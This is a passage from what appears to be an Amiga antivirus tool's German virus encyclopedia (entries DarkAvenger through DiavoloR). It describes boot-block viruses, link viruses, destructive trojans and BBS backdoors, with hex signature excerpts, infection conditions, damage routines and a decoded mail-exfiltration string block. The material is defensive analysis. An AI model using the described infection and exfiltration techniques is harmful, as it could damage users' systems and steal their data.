  5987.            4469616c 65722076 322e3867 2f555044 Dialer v2.8g/UPD
  5988.            41544544 20425920 53545249 4b455220 ATED BY STRIKER
  5989.  
  5990.          Oeffnet user.data und speichert ein paar Bytes in
  5991.          NOCALLERSAT300 ab.
  5992.          Hinweis: Entpacken Sie das File. VT sollte dann XLink erkennen.
  5993.          Gehen Sie dann in den File-Requester. Klicken Sie das
  5994.          File an und anschliessend auf 1Linkaus. Der 1.Link sollte
  5995.          im File abgeschaltet werden. Nachkontrollieren koennen Sie
  5996.          das mit SnoopDos, wenn Sie VT nicht trauen. SnoopDos -l darf
  5997.          keinen Lock auf bbs:user.data mehr anzeigen.
  5998.  
  5999.  
  6000.    - DAMAGE-Trojan   (Zerstoerung)
  6001.          Bekannte Archivnamen:  lzx12reg.lha
  6002.          Keine verbogenen Vektoren
  6003.          Nicht resetfest
  6004.          Es werden zwei Files entpackt:
  6005.             lzx.reg  8264 Bytes
  6006.                (ein gepackter Format-Befehl)
  6007.             lzx     67196 Bytes
  6008.          Im File ist zu lesen:      
  6009.                                           6d7b               m{
  6010.            792f7366 68216573 6a776621 6569313b y/sfh!esjwf!ei1;
  6011.            216f626e 66214542 4e424846          !obnf!EBNBHF
  6012.          Wenn Sie mit -1 arbeiten, ergibt sich:
  6013.            lzx.reg drive dh0: name DAMAGE
  6014.          Es soll also dh0 formatiert werden.
  6015.  
  6016.  
  6017.    - DarkAvenger-Virus      Link
  6018.          Starke Aehnlichkeit mit Infiltrator (nur dosopen statt loadseg).
  6019.          Also keine Meisterleistung. Die Namenswahl zeugt von grosser
  6020.          Selbstueberschaetzung .
  6021.          Verbiegt DosOpen
  6022.          Nicht resetfest
  6023.          KS 1.3: ja
  6024.          KS 2.04: ja
  6025.          A4000/40 : 10 Files sind gelaufen und haben eine Disk jeweils
  6026.            komplett verseucht. Ablauf: Auf A2000 mit KS2.04 wurde eine
  6027.            komplette Disk verseucht. Auf dieser Disk sind dann unge-
  6028.            faehr 20 verseuchte Files auf dem A2000 ohne GURU gelaufen.
  6029.            Von diesen 20 verseuchten Files waren auf dem A4000/40
  6030.            10 Files ohne Guru lauffaehig. (Cache aus)
  6031.          Typ A und Typ B sind bekannt. siehe unten
  6032.          Das Virusteil haengt sich immer neu codiert nach dem 1.Hunk ein.
  6033.  
  6034.          Arbeitsweise gleich fuer Typ A und B:
  6035.             - Sucht nach dem Langwort, das die Laenge des 1.CodeHunks
  6036.               enthaelt und erhoeht den Wert um $11A (TypA) oder
  6037.               $10C (TypB) .
  6038.             - Schreibt zu Beginn des 1. CodeHunks 6100xxyy (bsr xxyy)
  6039.                d.h. der OriginalSourceCode wird ueberschrieben.
  6040.             - Haengt sich codiert am Ende des 1.OriginalCodeHunks an.
  6041.                d.h. keine Erhoehung der HunkAnzahl.
  6042.  
  6043.          Vermehrungsbedingungen:
  6044.             - Disk validated
  6045.             - mindestens 8 Bloecke Platz
  6046.             - 1. CodeHunk nicht groesser als $1ffc * 4 = $7FF0
  6047.             - Filelaenge groesser #2000 Bytes und
  6048.             - Filelaenge kleiner #100000 Bytes
  6049.             - Test 1. Wort im CodeHunk auf
  6050.                - $4EF9 (Jmp)    falls ja keine Verseuchung
  6051.                - $4EB9 (Jsr)    falls ja keine Verseuchung
  6052.             - Test ob schon von DarkAvenger verseucht
  6053.               1. Wort im CodeHunk auf
  6054.                - $6100 (bsr)    falls ja 2. Test an anderer Stelle auf
  6055.                 - $FFFE6004 (Typ A) oder $FFFE4E71 (Typ B)
  6056.                   falls ja schon verseucht, deshalb Ende.
  6057.            Ergebnis: verseucht auch libs, devices, fonts  usw.
  6058.  
  6059.          Erfolg: NICHT alle Programme sind danach lauffaehig !!!!!
  6060.  
  6061.          Typ A:
  6062.            Verlaengert ein File um $11a x 4 = $468 = #1128 Bytes
  6063.            In Abhaengigkeit von $DFF006 wird mit setwindowtitles
  6064.             -=- The Dark Avenger -=-  gesetzt
  6065.            Selbsterkennung im Speicher mit $A0A1
  6066.                Decodiert mit
  6067.                    subi.b x,(a3)+   ( x aendert sich bei jeder Ver-
  6068.                                  mehrung in Abhaengigkeit von $DFF006 )
  6069.                ist im Speicher zu lesen:
  6070.            6974696f 6e2e6c69 62726172 7900202d ition.library. -
  6071.            3d2d2054 68652044 61726b20 4176656e =- The Dark Aven
  6072.            67657220 2d3d2d00                   ger -=-.
  6073.  
  6074.          Typ B:
  6075.            Verlaengert ein File um $10c x 4 = $430 = #1072 Bytes
  6076.            Die setwindowtitles-Routine fehlt.
  6077.            Selbsterkennung im Speicher mit $A0A1A2A3
  6078.                Decodiert mit
  6079.                    eori.b x,(a3)+   ( x aendert sich bei jeder Ver-
  6080.                                  mehrung in Abhaengigkeit von $DFF006 )
  6081.                ist im Speicher zu lesen:     
  6082.            732e6c69 62726172 79005265 6d696e64 s.library.Remind
  6083.            65727320 6f662070 61737420 2c206665 ers of past , fe
  6084.            6172206f 66207468 65206675 74757265 ar of the future
  6085.            3a205345 50544943 20534348 495a4f2e : SEPTIC SCHIZO.
  6086.            3d2d2054 68652044 61726b20 4176656e =- The Dark Aven
  6087.            67657220 2d3d2d00                   ger -=-.
  6088.  
  6089.          Ausbau: VT versucht den Originalzustand wieder herzustellen.
  6090.             Falls es Probleme gibt, wenden Sie sich bitte an mich.
  6091.             NACH dem FileTest machen Sie bitte ein EinzelFileCopy
  6092.             auf eine leere formatierte Disk. (QUICK genuegt nicht)
  6093.             Diskcopy nuetzt nichts, da dabei alle Bloecke kopiert
  6094.             werden.
  6095.          Zwei Gruende:
  6096.                - die Fragmentierung der Files wird aufgehoben
  6097.                   (Disk ist wieder schneller)
  6098.                - es werden nur benutzte Bloecke kopiert, d.h. jetzt
  6099.                  nicht mehr von Files belegte Bloecke werden nicht
  6100.                  mitkopiert und so kann dann auch BlockITest keinen
  6101.                  DarkAvenger auf der NEUEN Disk in einem unbenutzten
  6102.                  Block finden.  Beispiel siehe unten
  6103.                Block:      23
  6104.      0000: 00000008 0000048f 0000000e 0000004c ...............L
  6105.      0010: 00000000 00000000 815b0864 94717800 .........[.d.qx.
  6106.      0020: 716c1612 0a717cc5 2e3b1680 1f23f407 ql...q|..;...#..
  6107.      0030: f469d07d 1c0d278d 90280351 3d800401 .i.}..'..(.Q=...
  6108.      0040: 3d000c1c 9d6fc6cd 3e9cab9f fde08dc4 =....o..>.......
  6109.      0050: 02400408 81420010 0c04f46d 00246c09 .@...B.....m.$l.
  6110.      0060: 000003f2 2a20e8b5 4e759044 7200e8ad ....* ..Nu.Dr...
  6111.                ^^^^  ;hier neues FileEnde
  6112.      0070: 6708e9b1 51c8fff8 4e752a20 e8b560f2 g...Q...Nu* ..`.
  6113.      0080: 300461e8 70001035 10003401 b4466616 0.a.p..5..4..Ff.
  6114.      0090: 61cc6502 700761d2 36017002 61ced441 a.e.p.a.6.p.a..A
  6115.      00a0: b24767f6 600461c2 3601d444 17333000 .Gg.`.a.6..D.30.
  6116.      00b0: 51cafffa 33cb00df f1a2b5cb 65804e75 Q...3.......e.Nu
  6117.      00c0: 09090909 000024b4 4e468280 48e7fffe ......$.NF..H...
  6118.                                       ^^^^^^^^ alter VirusCode
  6119.             Das alte Virusteil ist im Block geblieben, und wurde vom
  6120.             neuen Fileende nicht ueberschrieben, da nicht der ganze
  6121.             Block benoetigt wird. VT wuerde im BlockITest den Dark
  6122.             Avenger finden. Im FileTest NATUERLICH NICHT !!!!
  6123.             Dies hat NICHTS mit VT zu tun, sondern liegt am Amiga-
  6124.             Betriebssystem.
  6125.  
  6126.  
  6127.          Suche: Sie MUESSEN mit FileTest suchen. Bei BlockKette kann
  6128.             eine Meldung unterbleiben, wenn von den 3 Testlangworten
  6129.             2 im Block x und 1 LW im Block x+1 liegen.
  6130.  
  6131.          Bitte: Suchen Sie NICHT nach verseuchten Files, solange ein
  6132.             sogenanntes "Nutzprogramm" aktiv ist, das dosopen verbiegt.
  6133.             Hinter diesem Nutzprg koennte der DarkAvenger liegen !!!
  6134.             Folge: Das Nutzprogramm ueberprueft beim Laden das File
  6135.             und stellt fest, dass das File von ihm NICHT zu bearbeiten
  6136.             ist (also z.B. nicht gepackt) und uebergibt an den "OrigDos-
  6137.             Open-Vektor". Nur leider ist der "OrigDosOpen-Vektor" auf
  6138.             die DarkAvenger-Routine verbogen !!!!  Ihre Erfolgsaussichten
  6139.             sind NULL  !!!!!! Falls VT das "Nutzprogramm" nicht kennt,
  6140.             koennen Sie im Hauptfenster in Tools mit setze OVektoren
  6141.             dosopen zuruecksetzen.
  6142.          Hinweis fuer Szeneprogrammierer: Der Trick mit Hunk_Symbol,
  6143.             Hunk_Name oder ChipKennung verhindert bei diesem Virus-
  6144.             teil den Linkvorgang  NICHT (!!!!!), da mit
  6145.                   cmpi.w #$3E9,(a0)+
  6146.                       gearbeitet wird.
  6147.          Hinweis: starten Sie BITTE den Druck IMMER aus Prefs. Hier wird
  6148.             das printer.device nach Aufruf auf Linkvirusbefall geprueft.
  6149.  
  6150.    - DARTH VADER   File  Laenge: 784 Bytes
  6151.       Cool und nach Reset auch OldOpenLib
  6152.       Vermehrung und Schaeden:
  6153.          - sobald OldOpenLib verbogen ist, versucht sich das Prg.
  6154.            im Root-Verzeichnis als $A0 zu vermehren. In die 1.Zeile
  6155.            der Startup-Sequence wird $A00A geschrieben.
  6156.          - sobald in der Zaehlzelle der Wert 6 steht, wird mit
  6157.            Output ausgegeben:
  6158.                VIRUS(V1.1) BY DARTH VADER
  6159.       Fehlerquellen:
  6160.          nicht mit KS2.04
  6161.          nicht mit FastMem
  6162.          mit 1Mb Chip nur mit setpatch r
  6163.          Kann nur eine startup-sequence bis zur Groesse #1000 richtig
  6164.          veraendern.
  6165.       Empfehlung: loeschen und 1.Zeile in der startup-sequence mit
  6166.                   Editor ebenfalls loeschen.
  6167.       Loeschen mit VT getestet: 26.04.92
  6168.  
  6169.    - DASA  anderer Name: ByteWarrior  s.o.
  6170.  
  6171.    - DAT '89   nur KS1.2 da DoIoRomEinsprung, KickTag, KickCheckSum
  6172.       immer 7F800, versucht durch Text im BB zu taeuschen:
  6173.             THIS BOOT RESETS ALL VECTORS   usw.
  6174.       Sobald die Zaehlzelle $F erreicht, DisplayAlert:
  6175.                      DAT '89!!!
  6176.       Fordert NICHT trackdisk.device !!!!
  6177.       Schaeden:
  6178.          schreibt sich in BB
  6179.          zerstoert Block 880 und 881 (bei Disk Root falls DD-Disk)
  6180.    - DAT89-TAI9-Clone:
  6181.       Text geaendert:
  6182.            3b2d2d29 2e2c3a2e 542e2e41 2c2c492e ;--).,:.T..A,,I.
  6183.            2e495800 00000000 00002020 67726170 .IX.......  grap
  6184.  
  6185.    - DATA CRIME   CCCP-Clone    s.o.
  6186.       BB Vermehrung auch mit ROM KS2.04
  6187.          CCCP-VIRUS in DATA CRIME geaendert (irre Leistung)
  6188.             hat aber bei VT NICHTS genuetzt !!!, also lasst das
  6189.  
  6190.    - DATACRIME-killer  BB  s.o. ASV-BB
  6191.       Endlich hat es wieder jemand geschafft den ASCII-Text zu aendern ..
  6192.          THIS BOOTBLOCK KNOWS SOME OLD AND NEW VIRUSES  usw.
  6193.             Wird von VT weiterhin als ASV erkannt. Pech gehabt !!
  6194.  
  6195.    - DATALOCK    BB
  6196.       BB ist codiert
  6197.       Decodierter BB im Speicher immer ab $7F700
  6198.       Verbogene Vektoren: DoIo, KickTag und im Prg. dann DisplayAlert
  6199.       Fordert trackdisk.device NICHT !!!
  6200.       Ich hab das mit der SyQuest ausprobiert. Wenn Sie KEIN backup vom
  6201.       Rigidbereich Ihrer Festplatte haben, bekommen Sie Probleme.
  6202.       Vermehrung: BB
  6203.       Meldung: soll sich in Abhaengigkeit von einer Zaehlzelle mit
  6204.         Displayalert melden.
  6205.       Version 1.1 :
  6206.        - in Abhaengigkeit von Zaehlzelle:
  6207.          - schreibt BB 2 Bloecke lang kein Problem
  6208.          - schreibt Speicher ab $7FAAD nach $6E000 auf Medium. Bei einer
  6209.            DD-Disk ist das der Rootblock (880). Ich mache Ihnen wenig
  6210.            Hoffnung. Probieren Sie Disksalv2.
  6211.          - schreibt Speicher ab $7FAAD nach $6F400 auf Medium. Bei einer
  6212.            DD-Disk ist das Block 890. Es werden $1000 Bytes = 8 Bloecke !!!
  6213.            geschrieben. Also ist in 890 "DATALOCK" zu lesen und die
  6214.            folgenden Bloecke sind AUCH unbrauchbar, weil sie Speichermuell
  6215.            enthalten.
  6216.            Auszug mit VT-drucke:
  6217.             0000: 0a444154 414c4f43 4b20312e 31202863 .DATALOCK 1.1 (c
  6218.             0010: 29206039 34210000 414c4c20 283f2920 ) `94!..ALL (?)
  6219.             0020: 434f4445 20425920 44454154 48434f52 CODE BY DEATHCOR
  6220.             0030: 452e0007 fae60000 00004afc 0007fae6 E.........J.....
  6221.              usw.
  6222.       Version 1.2 :
  6223.        - in Abhaengigkeit von Zaehlzelle:
  6224.          - schreibt BB  ABER immer $800 also 4 Bloecke. Falls also ein
  6225.            File auf dieser Disk Block 2 u. 3 von Zylinder 0 belegt hat,
  6226.            so wird es immer unbrauchbar. Test mit VT BlockKette ergibt
  6227.            bad Data !!!
  6228.          - schreibt Speicher ab $7FAAD nach $6E000 auf Medium. Bei einer
  6229.            DD-Disk ist das der Rootblock (880). Ich mache Ihnen wenig
  6230.            Hoffnung. Probieren Sie Disksalv2.
  6231.          - berechnet ueber $DFF006 einen Block und schreibt Speicher ab
  6232.            $7FAAD in diesen Block. Da $800 = 4 Bloecke geschrieben wer-
  6233.            den, enthalten die folgenden Bloecke Speichermuell und sind
  6234.            AUCH unbrauchbar.
  6235.            Auszug mit VT-drucke:
  6236.             0000: 0f3e3e3e 20444154 414c4f43 4b20312e .>>> DATALOCK 1.
  6237.             0010: 32203c3c 3c206039 34210001 00be1b28 2 <<< `94!.....(
  6238.             0020: 63292062 79204445 41544843 4f52452e c) by DEATHCORE.
  6239.             0030: 00000007 fae60000 00004afc 0007fae6 ..........J.....
  6240.  
  6241.    - DATALOCK Installer   File
  6242.        Laenge gepackt:  1996 Bytes
  6243.        Laenge entpackt: 2992 Bytes
  6244.        Soll DATALOCK-BB  (siehe oben) auf BB schreiben.
  6245.        Selbst keine verbogenen Vektoren.
  6246.        Keine Vermehrung
  6247.        KS1.3:  ja
  6248.        KS2.04: bei mir nur wirre Zeichen auf dem Bildschirm.
  6249.        Dringende Empfehlung: loeschen
  6250.        Hinweis 15.02.95:
  6251.        Es wurde der Installer noch einmal gefunden. Nur enthaelt er jetzt
  6252.        den ASS-Anti-BB. Im File ist zu lesen:
  6253.             2e200001 00552e2a 2a2a2054 68616e6b . ...U.*** Thank
  6254.             7320746f 20746865 20415353 20564952 s to the ASS VIR
  6255.             55532050 524f5445 43544f52 2056312e US PROTECTOR V1.
  6256.        Sie machen also NICHTS falsch, wenn Sie dieses Teil AUCH loeschen.
  6257.        Es scheint hier jemand einmal eine allgemeine BB-Install-Routine
  6258.        geschrieben zu haben.
  6259.  
  6260.  
  6261.    - datat.lib.45.5-Troj
  6262.        Filelaenge: 32832 Bytes
  6263.                    32748 Bytes
  6264.        Im File ist zu lesen:      
  6265.             64617461 74797065 732e6c69 62726172 datatypes.librar
  6266.             79002456 45523a20 64617461 74797065 y.$VER: datatype
  6267.             732e6c69 62726172 79203435 2e352028 s.library 45.5 (
  6268.             31372e32 2e393829 0d0a0000 000002bc 17.2.98)........
  6269.        Aussagen im Netz Mai 98:
  6270.          - sucht nach bsdsocket.lib (wird in dem File mit einem
  6271.            Monitor nicht gefunden (vielleicht codiert)). siehe unten
  6272.          - setzt verschiedene Gurus
  6273.          - ist NICHT vom echten Programmierer
  6274.          - war nur kurz im Aminet
  6275.          - im Aminet wieder ersetzt durch V 45.4 (27780 Bytes)
  6276.        Loeschen Sie also bitte zu ihrer eigenen Sicherheit die
  6277.        Version 45.5 und schreiben Sie wieder V45.4 zurueck.
  6278.        Ende Mai 98 war weder eine "echte" V45.5 noch eine neue
  6279.        V 45.6 erschienen.
  6280.        Nachtrag Dez 98:
  6281.        Eine Lib mit der Laenge 32748 Bytes wurde mir zugeschickt.
  6282.        Im Text (s.o.) ist die Versions-Nr geaendert, NICHT aber im
  6283.        Lib-Header. Das Teil wird mit 45.4 eingetragen (vgl. Versions-
  6284.        Befehl).
  6285.        Im File ist decodiert zu lesen:
  6286.                       4d69 616d6900 4d69616d       Miami.Miam
  6287.          693a6d69 616d692e 64656661 756c7400 i:miami.default.
  6288.          686f7374 00006d61 696c2e68 6f746d61 host..mail.hotma
  6289.          696c2e63 6f6d0000 62736473 6f636b65 il.com..bsdsocke
  6290.          742e6c69 62726172 79004845 4c4f0d0a t.library.HELO..
  6291.          4d41494c 2046524f 4d3a3c62 61616c3e MAIL FROM:<baal>
  6292.          0d0a5243 50542054 4f3a7978 67687173 ..RCPT TO:yxghqs
  6293.          0d0a4441 54410d0a 5375626a 6563743a ..DATA..Subject:
  6294.          20000d0a 2e0d0a51 5549540d 0a00536e  ......QUIT...Sn
  6295.          6f6f7044 6f732053 7570706f 72742050 oopDos Support P
  6296.          726f6365 73730000 454e5641 52433a6d rocess..ENVARC:m
  6297.          63632e70 72656673 0000              cc.prefs..
  6298.        SnoopDos wird im Speicher gesucht. Falls da Ende
  6299.        bsdsocket.lib wird geoeffnet. Falls nein Ende
  6300.        Miami wird gesucht. Falls nein Ende
  6301.        Fremdaussage (Danke):
  6302.        Das Teil verschickt in der Tat einen Teil der Miami.defaults an
  6303.        eine hotmail-adresse.
  6304.        Stand Dez 98: Schreiben Sie bitte UNBEDINGT die Version 45.4
  6305.        zurueck. Es gibt immer noch keine "echte" Version 45.5 oder 45.6
  6306.        Stand 31. Dez 98: Ich habe noch eine 45.5-lib erhalten.
  6307.        Laenge: 30844 Bytes. Es handelt sich um die Fake-Version (s.o.)
  6308.        OHNE (!!!) den Miami-Teil. Sonst sind die beiden Teile bis auf
  6309.        einen Sprungbefehl (in den Miami-Teil) GENAU gleich. VT sollte
  6310.        bei dieser Filelaenge einen Requester mit Fragezeichen ausgeben.
  6311.        Entscheiden Sie bitte dann selbst.
  6312.  
  6313.  
  6314.    - DEBUGGER-Virus        Link
  6315.          Verlaengert ein File um 1088 Bytes
  6316.          KS 1.3 : GURU   (wg. z.B. CacheClearU)
  6317.          KS 2.0 : ja
  6318.          Verbogene Vektoren: DosWrite, LoadSeg
  6319.          Nicht resetfest
  6320.          Aktivierung im Speicher:
  6321.           Nur wenn in Dos.lib $4EF9 verwendet wird.
  6322.          Vermehrung:
  6323.          Ein Orig-Teil im 1.Hunk wird ans Fileende gerettet und durch
  6324.          ein Virusteil ersetzt. Das 2.Virusteil haengt auch am File-
  6325.          ende in einem 3F1-Hunk .
  6326.          Bedingungen:
  6327.               File ausfuehrbar 3F3
  6328.               die ersten 4 Bytes des 1. Hunks enthalten weder
  6329.                 $4e75 noch $4afc  (wg. Lib)
  6330.               Medium validated  #82
  6331.               #8192 Bloecke frei  also keine Disk
  6332.               der 1.Hunk mindestens eine bestimmte Laenge hat
  6333.          VT versucht den Ausbau.
  6334.          Am Ende eines verseuchten Files ist zu lesen:
  6335.            23c00000 20444542 55474745 52283034 #... DEBUGGER(04
  6336.            31393934 292043fa                   1994) C..
  6337.  
  6338.    - Decompiler-Trojan   Laenge: 53992 Bytes
  6339.          Name: so heisst das File
  6340.          Verbogene Vektoren: Keine
  6341.          Nicht Resetfest
  6342.          Keine Vermehrung
  6343.          Schaeden: Verlaengert libs, l, devs und fonts um ein Leer-
  6344.          zeichen. Sie bekommen also Probleme beim naechsten Bootvor-
  6345.          gang, da die Dir-Namen nicht mehr stimmen. Abhilfe: Laden Sie
  6346.          ein Dir-Util-Prg. und entfernen Sie jeweils das Leerzeichen.
  6347.          VT bietet Loeschen an.
  6348.          Im File ist zu lesen:
  6349.           7379733a 6c696273 00097379 733a6c69 sys:libs..sys:li
  6350.           62732000 00057379 733a6c00 00067379 bs ...sys:l...sy
  6351.           733a6c20 00087379 733a6465 76730009 s:l ..sys:devs..
  6352.           7379733a 44657673 20000009 7379733a sys:Devs ...sys:
  6353.           666f6e74 7300000a 7379733a 666f6e74 fonts...sys:font
  6354.           73200000 00000000 000003f2 000003e9 s ..............
  6355.          Das File meldet sich auf dem Bildschirm mit:
  6356.              Autoboot disk creator
  6357.          Angeblich soll ein ausgewaehltes compiliertes Programm in die
  6358.          startup-seq. uebernommen werden. Dieses Trojanteil koennte
  6359.          auch als AMOS-Utility weitergegeben werden.
  6360.          Hinweis Okt.94:
  6361.          Im Moment kommt es bei einigen Antivirusprogrammen bei jedem
  6362.          3. oder 4. Amosfile zu einer Decompiler-Fehlerkennung.
  6363.          Beispiel: Bavarian 333 AMastermind
  6364.          Das File enthaelt den Decompiler aber NICHT !!!!!
  6365.          Ich nehme an, dass diese Fehlerkennungen bei den naechsten
  6366.          Updates behoben sein werden.
  6367.  
  6368.  
  6369.    - Degrad-Trojan     reines Zerstoerungsfile
  6370.          Laenge ungepackt: 5612 Bytes
  6371.          Keine verbogenen Vektoren
  6372.          Nicht resetfest
  6373.          Name nicht nachvollziehbar, sondern uebernommen.
  6374.          Im File ist uncodiert zu lesen (danach sehr viele 0) :
  6375.            fe3e4e75 73637369 2e646576 69636500 .>Nuscsi.device.
  6376.            00000000 00000000 00000000 00000000 ................
  6377.            00000000 00000000 00000000 00000000 ................
  6378.            ;...usw
  6379.          Zerstoerung:
  6380.          Nach Aufruf (Cli) wird versucht Unit 0 mit scsi.device zu
  6381.          oeffnen. Falls gefunden, werden #5120 Bytes mit Nullen ab
  6382.          Sektor Null geschrieben. Dies duerfte den Rigid-Bereich
  6383.          der Festplatte unbrauchbar machen. Aber Sie haben natuerlich
  6384.          laengst ein Backup des Rigid-Bereichs ihrer Festplatte, oder
  6385.          etwa doch nicht ?  (zeige Zyl/Backup)
  6386.          VT bietet loeschen an
  6387.  
  6388.    - Deniz  Cool SCA-Clone
  6389.          nur Text geaendert
  6390.  
  6391.    - DERK1 u. 2  BB     richtiger Name: MALLANDER VIRUS V1.0
  6392.          Hinweis: Derk1=Derk2
  6393.          Beweis fuer Nichtassemblerfreaks: nutzen Sie die Funktion
  6394.          vgl. in VT . Die 1 und 2 in der BB-Checksum ergeben sich aus
  6395.          den abgespeicherten unterschiedlichen DoIo's. Sonst KEINE
  6396.          Unterschiede .
  6397.  
  6398.    - Descriptor-Virus   ein Zerstoerungsfile  Laenge: 7016 Bytes
  6399.          Namensbegruendung: s.u.
  6400.          Keine verbogenen Vektoren
  6401.          Testet auf mindestens KS2.04  s.u.
  6402.          Sucht nach S:Descriptions.TXT
  6403.          Behauptet Snap zu suchen, holt aber in Wirklichkeit aus
  6404.          c den delete-Befehl und loescht alle Files. Durch die
  6405.          verbrauchte Zeit sollte Ihnen das schon auffallen. Wenn
  6406.          Sie danach das About-Gadget anklicken, erhalten Sie die
  6407.          Ausgabe: Your HD is ... s.u.
  6408.          Das Programm loescht aber GENAUSO ihre Disk .
  6409.          VT bietet nur loeschen an, da die Zerstoerungs-Routine
  6410.          EINGEARBEITET und nicht angelinkt ist. Es soll aber
  6411.          auch ein SAUBERES Descriptor-Programm geben (hab ich
  6412.          nicht). Das echte Programm soll Logos an Files an-
  6413.          haengen. Also wird die Hauptgefahr "nur" die Sysops
  6414.          treffen.
  6415.      Fileauszuege:
  6416.            6F757263 65006465 6C657465 203A233F ource.delete :#?
  6417.            20616C6C 20200000 80000064 00000000  all  .....d....
  6418.            ;....
  6419.            2F313032 2F446573 63726970 746F7220 /102/Descriptor
  6420.            56332E30 20627920 436F6C6F 72626F79 V3.0 by Colorboy
  6421.            206F6620 5375626D 69737369 6F6E206F  of Submission o
  6422.            6E203239 2D4A554E 2D313939 332F6E6F n 29-JUN-1993/no
  6423.            ;....
  6424.            6E6F7369 7A650000 533A4465 73637269 nosize..S:Descri
  6425.            7074696F 6E732E54 58540000 0C0A9B33 ptions.TXT.....3
  6426.            ;....
  6427.            64212057 68617420 61626F75 74206B69 d! What about ki
  6428.            636B2032 2E303F0A 45697468 65722049 ck 2.0?.Either I
  6429.            ;....
  6430.            9B31303B 31304853 6E617020 6973206E .10;10HSnap is n
  6431.            6F742069 6E206D65 6D6F7279 2E204920 ot in memory. I
  6432.            74727920 746F206C 6F616420 69742066 try to load it f
  6433.            726F6D20 432D4469 722E2020 20202020 rom C-Dir.
  6434.            ;....
  6435.            5B33316D 0A0A2020 2DF721F7 2D202059 [31m..  -:-!:  Y
  6436.            6F757220 48442069 73206465 6C657465 our HD is delete
  6437.            64202E2E 2E204861 70707920 42697274 d ... Happy Birt
  6438.            68646179 202D4D43 492D2F44 43532041 hday -MCI-/DCS A
  6439.            48484148 41484148 41484148 4120202D HHAHAHAHAHAHA  -
  6440.        Hinweis 01.08.93:
  6441.          Das Zerstoerungsteil wird auch als zsped.lha weiter-
  6442.          gegeben. Laenge: 20817 Bytes (allerdings mit mehreren
  6443.          Boxenhinweisen). Das Virusteil nennt sich dort SPEEDER.EXE
  6444.          (Laenge: 7016). Also nur ein anderer Name. Die Doc ver-
  6445.          sucht zu verwirren, indem sie die Funktion des Programms
  6446.          falsch beschreibt.
  6447.          SPEEDER.DOC:
  6448.          Just RUn Speeder.exe From Ram And Watch YER CPS CLIMB On
  6449.          You Next Transfer Mine Increased from 1600 to 1800
  6450.          On normal 14.4 HST
  6451.                      SAMIR ZENITH LEADER
  6452.  
  6453.          Watch For Our releases!!!!!
  6454.  
  6455.    - Destructor   Cold
  6456.          im BB sichtbar:
  6457.             Destructor_Virus v1.2 Written by Aldo Reset.
  6458.             (c) M.C.T. Ltd 1990- Everything is under control !
  6459.             (eh!eh!)
  6460.          keine Vermehrungsroutine gefunden
  6461.          zerstoert beim naechsten Reset ueber Cold eine nicht
  6462.          schreibgeschuetzte Disk indem jeder 4. Track ueberschrieben
  6463.          wird.
  6464.  
  6465.    - DETLEF-Virus   BB    KickTag, KickCheckSum, DoIo
  6466.          Namensbegruendung: siehe unten
  6467.          Fordert trackdisk.device NICHT
  6468.          BB wird in den Speicher decodiert mit: add.b d1,(a0)+
  6469.          Jeder neu geschriebene Virus-BB wird neu codiert in Abhaengig-
  6470.          keit von $DFF00A .
  6471.          In Abhaengigkeit von $DFF006 wird mit DisplayAlert ein Text
  6472.          ausgegeben. Dazu wird ein Virusteil nach $73000 kopiert und
  6473.          mit  add.b #$ad,(a0)+  decodiert.
  6474.          AlertText:
  6475.                            Guten Tag.
  6476.                       » Ich heiße DETLEF «
  6477.           Ich werde Sie in der nächsten Zeit etwas nerven.
  6478.             Gemacht wurde ich von ·      M  A  X       .
  6479.          Vermehrung und Schaden: BB
  6480.  
  6481.    - Devil_V8_B.Door    anderer Name:SwiftWare  Laenge ungepackt: 44224
  6482.          Ein Hunk wurde vor das Originalfile gehaengt, um das Sysop-Pass-
  6483.          word auslesen zu koennen und in einem neuen File abzulegen.
  6484.            Ein Teil des 1.Hunks decodiert mit neg.b (a0)+ ergibt:
  6485.                                           6262               bb
  6486.            733A6E6F 6465302F 6E6F6361 6C6C6572 s:node0/nocaller
  6487.            73617433 30300062 62733A75 7365722E sat300.bbs:user.
  6488.            64617461 00                         data.
  6489.          Da das Teil sich nicht vermehrt, handelt es sich nach der
  6490.          Definition nicht um einen Virus.
  6491.          Namensbegruendung: Eine Gruppe (oder Einzelperson) soll fuer
  6492.          diese BBS-Einbrueche verantwortlich sein. Kann ich nicht nach-
  6493.          pruefen.
  6494.          VT bietet den Ausbau an.
  6495.  
  6496.    - Devil_11_B.Door
  6497.          Drei Files sind mir bekannt, vor die das Teil gehaengt wurde:
  6498.               - DLog V1.8   Laenge verseucht: 23452
  6499.               - ULog V1.8   Laenge verseucht: 23452
  6500.               - MsgTop V1.0 Laenge verseucht,aber einmal entpackt: 17884
  6501.                                                        2x gepackt: 13548
  6502.          Alle drei Prg.e verseucht auf A4000 = GURU 4
  6503.          BackDoor-Teil ausgebaut, aber ohne BBS: = Fehler -1
  6504.          Wenn Sie das BackDoorTeil entpacken, finden Sie gleich am An-
  6505.          fang:
  6506.            000003e9 0000093d 4efa09ac 42425300 .......=N...BBS.
  6507.            44483000 44483100 4844303a 00484431 DH0.DH1.HD0:.HD1
  6508.            3a004448 30004448 31004844 303a0048 :.DH0.DH1.HD0:.H
  6509.            44313a00 4242533a 00444830 3a424253 D1:.BBS:.DH0:BBS
  6510.            2f004448 313a4242 532f0048 44303a42 /.DH1:BBS/.HD0:B
  6511.            42532f00 4844313a 4242532f 00444830 BS/.HD1:BBS/.DH0
  6512.            3a004448 313a0048 44303a00 4844313a :.DH1:.HD0:.HD1:
  6513.          Mit SnoopDos koennen Sie das nachvollziehen.
  6514.          Schaden: (Die folgende Aussage wurde uebernommen)
  6515.           Sucht nach Files mit Laenge 1972 Bytes und aendert sie so ab,
  6516.           dass ab Level 10 Account edit und Sysop download moeglich wird.
  6517.          Da das Teil sich nicht vermehrt, handelt es sich nach der
  6518.          Definition nicht um einen Virus.
  6519.          Namensbegruendung: Eine Gruppe (oder Einzelperson) soll fuer
  6520.          diese BBS-Einbrueche verantwortlich sein. Kann ich nicht nach-
  6521.          pruefen.
  6522.          VT bietet den Ausbau an.
  6523.          Nachtrag 25.03.95: vgl. auch ZINE-Disk-Validator
  6524.          Nachtrag 15.04.95: vgl. auch VScan-BBS-Trojan
  6525.  
  6526.    - DEVIL-ZINE  siehe bei ZINE-Disk-Validator
  6527.  
  6528.    - DiavoloR-zerst. ?
  6529.        KEIN Virus
  6530.        Fremdaussage: Die Files wurden von einer Diavolo-Raubkopie un-
  6531.        brauchbar gemacht. Da nur auf zwei Langworte getestet werden kann,
  6532.        ist die Ausgabe moeglicherweise nicht immer richtig.
  6533.        In so einem File ist zu lesen:   
  6534.            DmsToy
